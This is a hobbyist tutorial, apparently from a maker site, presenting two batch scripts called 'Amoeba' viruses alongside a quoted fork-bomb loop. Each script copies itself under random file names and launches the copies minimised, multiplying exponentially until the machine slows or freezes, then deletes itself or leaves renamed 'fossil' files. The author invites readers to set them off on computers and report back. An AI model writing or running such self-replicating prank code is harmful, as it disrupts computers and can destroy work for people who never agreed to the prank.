Introduction: The Dreaded Amoeba Virus Using Batch Script

If you're interested in coding or batch scripting, check out my latest Ible here.

I learned about protista in my Bio class. We got to hunt for live amoebas under a microscope. Not much use in life, but it gave me an idea on what to name my latest virus.

As some people have posted, a virus, by defintion, replicates. Well, I'm proud to say that the Amoeba viruses do just that!

Step 1: The Decomposing Amoeba

I have found instructions for pranks that go as follows:

@echo off
:Top
start %0
goto Top

They start themselves over and over again, and the newly started program follows suit, until the computer freezes. The Amoebas do this, but they leave behind many, many more Amoebas than existed at the start.

This little virus runs, creates a random name, and then copies itself, just like binary fission. Sort of.
The process repeats, with the program starting each new virus, which then reproduces. One becomes three, which become nine, etc. After copying itself three times, each program deletes itself, effectively dying and decomposing.

The Batch script is as follows:

@echo off
color 02
title Amoeba
set/a life=3
:Top
if %life%==0 (
del %0
)
set name=
:Loop
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
if %namenumber%==0 set name=A%name%
if %namenumber%==1 set name=B%name%
if %namenumber%==2 set name=D%name%
if %namenumber%==3 set name=D%name%
if %namenumber%==4 set name=E%name%
if %namenumber%==5 set name=F%name%
if %namenumber%==6 set name=G%name%
if %namenumber%==7 set name=H%name%
if %namenumber%==8 set name=I%name%
if %namenumber%==9 set name=J%name%
if %namenumber%==10 set name=K%name%
if %namenumber%==11 set name=L%name%
if %namenumber%==12 set name=M%name%
if %namenumber%==13 set name=N%name%
if %namenumber%==14 set name=O%name%
if %namenumber%==15 set name=P%name%
if %namenumber%==16 set name=Q%name%
if %namenumber%==17 set name=R%name%
if %namenumber%==18 set name=S%name%
if %namenumber%==19 set name=T%name%
if %namenumber%==20 set name=U%name%
if %namenumber%==21 set name=V%name%
if %namenumber%==22 set name=W%name%
if %namenumber%==23 set name=X%name%
if %namenumber%==24 set name=Y%name%
if %namenumber%==25 set name=Z%name%
if EXIST %name%.bat goto Loop
copy %0 %name%.bat >nul
start /min %name%.bat
set/a life=%life% -1
goto Top

As with all Batch files, name this program "Amoeba.bat", and save as "All Program Files". Then run it and clean up the mess.

Step 2: The Fossilizing Amoeba

The Fossilizing Amoeba is exactly the same as the Decomposing Amoeba, except that it only reproduces twice, at the end of which it renames itself as a database file, leaving a useless file, or "fossil".

The script goes like this:

@echo off
color 02
title Amoeba
set/a life=2
:Top
if %life%==0 (
rename %0 %name%.dat
)
set name=
:Loop
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
if %namenumber%==0 set name=A%name%
if %namenumber%==1 set name=B%name%
if %namenumber%==2 set name=D%name%
if %namenumber%==3 set name=D%name%
if %namenumber%==4 set name=E%name%
if %namenumber%==5 set name=F%name%
if %namenumber%==6 set name=G%name%
if %namenumber%==7 set name=H%name%
if %namenumber%==8 set name=I%name%
if %namenumber%==9 set name=J%name%
if %namenumber%==10 set name=K%name%
if %namenumber%==11 set name=L%name%
if %namenumber%==12 set name=M%name%
if %namenumber%==13 set name=N%name%
if %namenumber%==14 set name=O%name%
if %namenumber%==15 set name=P%name%
if %namenumber%==16 set name=Q%name%
if %namenumber%==17 set name=R%name%
if %namenumber%==18 set name=S%name%
if %namenumber%==19 set name=T%name%
if %namenumber%==20 set name=U%name%
if %namenumber%==21 set name=V%name%
if %namenumber%==22 set name=W%name%
if %namenumber%==23 set name=X%name%
if %namenumber%==24 set name=Y%name%
if %namenumber%==25 set name=Z%name%
if EXIST %name%.bat goto Loop
if EXIST %name%.dat goto Loop
copy %0 %name%.bat >nul
start /min %name%.bat
set/a life=%life% -1
goto Top

Once again, save as "Amoeba.bat".

Step 3: The Organism Explosion

If you do set one off, please tell me how it worked.

Have fun!


******************************


El Mano:


Build your own CMD Prompt

How to hide Computer Files from the Tecnically Illiterate

Keep your Eyes working Great

This simple health switch will Keep you Warm


******************************